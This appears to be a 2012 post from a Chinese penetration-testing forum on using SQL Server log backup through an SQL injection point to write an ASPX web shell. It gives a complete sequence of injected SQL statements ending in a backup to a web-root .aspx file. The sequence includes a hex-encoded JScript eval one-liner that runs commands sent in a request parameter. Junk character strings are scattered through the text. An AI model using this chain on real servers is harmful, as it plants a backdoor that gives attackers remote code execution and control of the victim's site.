中国网络渗透测试联盟

标题: 关于aspx环境下log备份的一些思考 [打印本页]

作者: admin    时间: 2012-9-5 14:57
标题: 关于aspx环境下log备份的一些思考
最近在看个网站的时候,aspx的字符型注点,db_owner权限,但是不支持asp,常见的方法是log备份asp,这次我们要备份aspx了(在这只讨论备份)。
$ J5 [1 t+ f  A, U4 P5 d但是直接写一句话虽然可以备份成功,但是执行时会报错,因此直接备份的一句话是无法执行的。* t1 r1 P0 d8 ?8 E) P9 k
经过查找资料和本人测试发现,利用ie备份的时候,insert时,向表中插入内容,都是重复插入3条数据(ie6,ie8均如此),因此导致执行时出错;利用查询分析器insert的时候,只插入一条数据,因此不会报错,所以一句话成功执行。% Z5 a0 J7 M" J& l+ O/ C! R- r
经测试,备份如下格式:空格一句话空格、<br>一句话<br>时,有一定概率可以成功。不知道是什么原因,特来论坛请教,望高手解惑。* _' \! [) ~4 K' s

& ~3 l7 \& w. m--------------------------------------------------------------1 X  O7 D# W" J+ o/ {! H
今天又试了下,发现直接备份有时候也可以成功,晕死了,为防止备份时插入多条内容导致出错,* }9 a! h- h  h  ?, n
自己修改备份语句如下:$ P5 c- s6 c: d; \
Drop table cmd;--; K. e( s5 U& Z  U/ }
alter database db_test set RECOVERY FULL;--
" R9 }0 y9 o, Q. b$ T8 acreate table cmd (a image,id int IDENTITY (1,1)); --添加了个自动编号的字段( w+ v6 }: c0 q9 i1 U
backup log db_test to disk = 'c:\bak' with init;--- S: A6 N5 B+ V2 {5 l, b, d4 Q+ t6 R
insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B227A225D2C22756E7361666522293B253E);--: ^6 y4 m) w. k+ g
delete from cmd where id>1;--删除id>1的数据
( W4 {0 ^, n* m/ I% Qbackup log db_test to disk = 'e:\webroot\test.aspx';--! u4 b; a) ^7 y/ L! q
Drop table cmd;--
8 Y% q+ a! z7 A1 `- U/ a, n2 B希望对大家有用。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2